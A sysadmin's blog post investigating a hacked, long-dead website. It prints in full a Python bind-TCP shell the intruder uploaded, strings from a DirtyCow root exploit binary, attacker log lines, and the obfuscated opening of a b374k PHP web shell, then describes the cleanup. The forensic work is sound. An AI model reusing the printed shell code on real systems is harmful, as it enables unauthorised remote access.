Usually when a web-application is hacked, you get to know it immediately. Sometimes because the hacked website will be abused to send thousands of spams. Sometimes a phishing page is uploaded to fool people still not knowing about phishing pages. Sometimes other websites are being attacked through a script (congratulations, your server is now part of a botnet!).
But a few days ago, something caught my eye:
www-data 25948 0.0 0.0 17524 1424 ? S Oct22 0:00 sh -c cd '/var/www/web230/html/anime-gateway/Artikel/bilder' ; pyth
www-data 25949 99.9 0.0 36216 4376 ? R Oct22 5447:51 \_ python a7x4M7mJcuBX_bind.py
www-data 25953 0.0 0.0 17708 1696 pts/0 Ss Oct22 0:00 \_ /bin/bash
www-data 25986 0.0 0.0 30676 684 pts/0 Sl+ Oct22 0:09 \_ ./ct
So it was an uploaded python script which got executed - that wasn't really a surprise. The interesting information was the path: /var/www/web230/html/anime-gateway/Artikel/bilder. Anime-Gateway was a website I co-created in 2006/2007. It's been dead for several years but I kept it online for historical reasons. Out of curiosity I wanted to know what happened. From what I could remember from the programming, back then we used an authentication system which used a connection to a forum software's user database. Only authenticated users (with a certain role) were able to upload material via the web interface.
An output of the newest files within /var/www/web230/html/anime-gateway/Artikel/bilder revealed a recent change of files:
-rw-r--r-- 1 web230 www-data 31673 May 25 2008 aotw.jpg
-rw-r--r-- 1 www-data www-data 0 Sep 22 16:27 test.py
-rw-r--r-- 1 www-data www-data 679 Sep 22 16:30 l.py
-rw-r--r-- 1 www-data www-data 549 Oct 22 15:06 a7x4M7mJcuBX_bind.py
-rwxr-xr-x 1 www-data www-data 11396 Oct 22 16:12 ct
As you can see, the last uploaded "real" picture was from May 2008. Pretty long time ago. But then come new files from September 22, 2016!
root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat test.py
File: `test.py'
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: fd01h/64769d Inode: 6088984 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data)
Access: 2016-09-22 16:27:05.000000000 +0200
Modify: 2016-09-22 16:27:05.000000000 +0200
Change: 2016-09-22 16:27:05.000000000 +0200
root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat l.py
File: `l.py'
Size: 679 Blocks: 8 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 6088981 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data)
Access: 2016-10-26 11:07:31.000000000 +0200
Modify: 2016-09-22 16:30:20.000000000 +0200
Change: 2016-09-22 16:30:20.000000000 +0200
root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat a7x4M7mJcuBX_bind.py
File: `a7x4M7mJcuBX_bind.py'
Size: 549 Blocks: 8 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 1712265 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 33/www-data) Gid: ( 33/www-data)
Access: 2016-10-26 11:08:19.000000000 +0200
Modify: 2016-10-22 15:06:13.000000000 +0200
Change: 2016-10-22 15:45:26.000000000 +0200
root@server /var/www/web230/html/anime-gateway/Artikel/bilder # stat ct
File: `ct'
Size: 11396 Blocks: 24 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 1712266 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 33/www-data) Gid: ( 33/www-data)
Access: 2016-10-26 11:06:43.000000000 +0200
Modify: 2016-10-22 16:12:44.000000000 +0200
Change: 2016-10-22 16:13:36.000000000 +0200
The executed python script a7x4M7mJcuBX_bind.py looked like this:
# cat a7x4M7mJcuBX_bind.py
#!/usr/bin/python2
"""
Python Bind TCP PTY Shell - testing version
infodox - insecurety.net (2013)
Binds a PTY to a TCP port on the host it is ran on.
"""
import os
import pty
import socket
lport = 31343
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', lport))
s.listen(1)
(rem, addr) = s.accept()
os.dup2(rem.fileno(),0)
os.dup2(rem.fileno(),1)
os.dup2(rem.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
A quick research of that content led me to infodox (https://github.com/infodox/python-pty-shells). According to the github repo, this is:
The following is a collection of bind and reverse shells which give you a fully working PTY.
Ohhh great. Just what I needed....
The file "ct" was the newest one by timestamp and is also the one which was executed from within the python script, once it opened a shell pty. It was a binary file but using "strings" I was able to see what's going on:
# cat ct | strings
/lib64/ld-linux-x86-64.so.2
__gmon_start__
_Jv_RegisterClasses
libpthread.so.0
write
system
pthread_create
pthread_join
lseek
libc.so.6
fopen
puts
mmap
memset
memcmp
memcpy
fclose
asprintf
fread
madvise
sleep
__libc_start_main
__fxstat
GLIBC_2.2.5
fffff.
l$ L
t$(L
|$0H
thread stopped
/proc/self/mem
%s is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
DirtyCow root privilege escalation
Backing up %s.. to /tmp/bak
cp %s /tmp/bak
Size of binary: %d
Racing, this may take a while..
;*3$"
/usr/bin/passwd
/bin/sh
/bin/bash
GCC: (Debian 4.7.2-5) 4.7.2
GCC: (Debian 4.4.7-2) 4.4.7
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
call_gmon_start
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6092
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
40616.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
pth1
pth3
pthread_create@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
data_start
puts@@GLIBC_2.2.5
fread@@GLIBC_2.2.5
write@@GLIBC_2.2.5
madviseThread
_edata
fclose@@GLIBC_2.2.5
_fini
mmap@@GLIBC_2.2.5
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
lseek@@GLIBC_2.2.5
stop
memset@@GLIBC_2.2.5
fstat
procselfmemThread
name
__libc_start_main@@GLIBC_2.2.5
memcmp@@GLIBC_2.2.5
suid_binary
__data_start
memcpy@@GLIBC_2.2.5
sc_len
__gmon_start__
__dso_handle
_IO_stdin_used
pth2
__libc_csu_init
__fxstat@@GLIBC_2.2.5
_end
_start
__bss_start
asprintf@@GLIBC_2.2.5
main
madvise@@GLIBC_2.2.5
open@@GLIBC_2.2.5
__fstat
fopen@@GLIBC_2.2.5
pthread_join@@GLIBC_2.2.5
_Jv_RegisterClasses
waitForWrite
__TMC_END__
_ITM_registerTMCloneTable
sleep@@GLIBC_2.2.5
_init
Mainly the following lines got my fullest attention:
Popping root shell.
Don't forget to restore /tmp/bak
DirtyCow root privilege escalation
Backing up %s.. to /tmp/bak
cp %s /tmp/bak
Size of binary: %d
Racing, this may take a while..
;*3$"
/usr/bin/passwd
/bin/sh
/bin/bash
Uwah! It's a friggin' DirtyCow exploit!
The created binary was indeed created and then copied to /tmp/bak:
# stat /tmp/bak
File: `/tmp/bak'
Size: 43280 Blocks: 88 IO Block: 4096 regular file
Device: fd04h/64772d Inode: 2895 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 33/www-data) Gid: ( 33/www-data)
Access: 2016-10-26 11:14:16.000000000 +0200
Modify: 2016-10-22 16:13:37.000000000 +0200
Change: 2016-10-22 16:13:37.000000000 +0200
In the python script above, there was the port "31343" defined as listening port. Did it really open? Yes, it did:
# netstat -nltup | grep 31343
tcp 0 0 0.0.0.0:31343 0.0.0.0:* LISTEN 25949/python
So far I knew: A python script (infodox) was uploaded, which listened to a tcp port and allowed to open a pty shell. This was then used to execute a binary file to exploit the DirtyCow vulnerability.
But what I didn't know yet: How the hell did the python script came on the server?
I checked the logs of September 22nd 2016 and found this:
46.166.179.39 - - [22/Sep/2016:16:24:49 +0200] "POST /Artikel/bilder/upload.tmp.php? HTTP/1.1" 200 2606 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
46.166.179.39 - - [22/Sep/2016:16:26:40 +0200] "GET /Artikel/bilder/upload.tmp.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php?x=info" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
46.166.179.39 - - [22/Sep/2016:16:27:05 +0200] "POST /Artikel/bilder/upload.tmp.php? HTTP/1.1" 200 2816 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php?" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
Gotcha, a file upload.tmp.php was used to upload the files into a chmodded 777 folder (that was intended because that's the image folder for the Anime reviews articles).
But this didn't answer me anything. In fact, it raised more questions: Who put that file there? Why is it there? Did I commit this common mistake to leave a vulnerable file in an accessible web folder? What exactly is this file? And also: Who'd find a file like this on a website which has been dead for years?
I went back further in the logs and found the first requests of that file back in May 2016:
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php HTTP/1.1" 200 1721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php?! HTTP/1.1" 200 18691 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:37:49 +0200] "GET /Artikel/bilder/upload.tmp.php?| HTTP/1.1" 200 29462 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:59:08 +0200] "GET /Artikel/bilder/upload.tmp.php HTTP/1.1" 200 1721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log_2016_w21-0.gz:46.165.243.70 - - [13/May/2016:18:59:08 +0200] "GET /Artikel/bilder/upload.tmp.php?! HTTP/1.1" 200 18691 "http://www.anime-gateway.de/Artikel/bilder/upload.tmp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0"
These were only GET requests. So I assume it was kind of a bot just trying thousands of domains and paths for that filename. Time to check out that file:
-rw-r--r-- 1 web230 www-data 832 Aug 11 2007 upload.php
-rw-r--r-- 1 www-data www-data 99404 Aug 11 2007 upload.tmp.php
There are two files. upload.php uploaded by the FTP user, probably me, back on August 11 2007. Yet on the same day: upload.tmp.php. This one however not created by the FTP user, no, created by www-data under which PHP was ran!
Let's check out that tmp file (here's the begin of the file, it turned out to be huge):
# cat upload.tmp.php
<?php
$s_pass = "b0cb1adce7bde2f86172353cc3030abc5ba9843a";
$s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("\$s_pass=\"$y\";?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("rP2HruxcliaIvUpOojGVJZaa3k0biQwygt77gZCg995TNe8u/plV3dVGM4Ag3IsbQW7Dvfda6zPnnhPnP/4/pmr6079b/3rky5/+05/+jPx76s//4Y/rrd66/I87CUpi7Z/+/O//3udvbd1Y1sPbo/+jA0pA0J/+b39CsPcf8m/NWZ7s5dtSxN2a/4c//T/H5K/rFi/bX/7xvVjz7W8j/9rVfb39BfrjXj3Uf33v/+Ufqq3v/povy7is//BP/wD9wx+NaZfHyzt+S+O0yv+YI8
Believe me, I never reached a PHP coding level like this, so this definitely didn't come from me. The PHP script contained base64 encoded parts in it and at the end probably showed a web shell after entering the correct password ($s_pass).
I'd love to go back and have logs from 2007 to see what was going on and how this file was uploaded - but as you can imagine, they're long gone. Hell, I wasn't even married back then.
Unfortunately I can only assume, that we added the authentication on the website later that year and someone used the form (without authentication) to upload this file upload.tmp.php, which stayed there left alone for several years until somehow someone found it and used it to exploit the DirtyCow vulnerability.
All I could do in this case was a cleanup, remove the uploaded files, adapt the folder permissions so uploads are not possible anymore (it's enough to load the pictures for the articles as an archive) and disable the www-data user to open a shell and launch commands (like executing the python script in the first place).
No comments yet.
AWS Android Ansible Apache Apple Atlassian BSD Backup Bash Bluecoat CMS Chef Cloud Coding Consul Containers CouchDB DB DNS Database Databases Docker ELK Elasticsearch Filebeat FreeBSD Galera Git GlusterFS Grafana Graphics HAProxy HTML Hacks Hardware Icinga Influx Internet Java KVM Kibana Kodi Kubernetes LVM LXC Linux Logstash Mac Macintosh Mail MariaDB Minio MongoDB Monitoring Multimedia MySQL NFS Nagios Network Nginx OSSEC OTRS Office PGSQL PHP Perl Personal PostgreSQL Postgres PowerDNS Proxmox Proxy Python Rancher Rant Redis Roundcube SSL Samba Seafile Security Shell SmartOS Solaris Surveillance Systemd TLS Tomcat Ubuntu Unix VMWare VMware Varnish Virtualization Windows Wireless Wordpress Wyse ZFS Zoneminder